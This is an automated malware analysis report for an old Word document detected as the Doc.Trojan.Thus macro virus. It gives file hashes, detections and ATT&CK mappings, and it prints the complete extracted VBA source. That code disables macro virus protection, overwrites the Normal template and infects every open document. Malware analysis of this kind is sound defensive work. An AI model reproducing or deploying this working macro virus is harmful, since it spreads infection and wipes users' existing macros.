Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 15f4b1cd07d3be12…

MALICIOUS

Office (OLE)

119.5 KB Created: 2002-05-03 11:44:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 22446971e863de8f774208ae2f8a7a43 SHA-1: 203a1850855ea5fcab630403f552ada81be0a9d3 SHA-256: 15f4b1cd07d3be12f9568dfa2f7bba8ee6874904fd74c4171fea55a7c30646d1
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code upon opening a document. The script attempts to modify the Normal template and potentially inject code into other open documents, indicating an attempt to establish persistence. The ClamAV detections 'Doc.Trojan.Thus-5' and 'Doc.Trojan.Thus-8' further support its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Thus-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-5
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2811 bytes
SHA-256: 4aef3f633aef2ec6f43cb36ee1b0c37f78502e1bcea41da50b43831c32194037
Detection
ClamAV: Doc.Trojan.Thus-8
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
    End If
    
    If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(30, 1) = "    If (Day(Now()) = 13) And (Month(Now()) = 12) Then" Then
    ActiveDocument.VBProject.VBComponents.Item(1).CodeModule _
    .DeleteLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
        End If
    
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(30, 1) = "    If (Day(Now()) = 13) And (Month(Now()) = 12) Then" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).CodeModule.CountOfLines)
    End If
    Next k
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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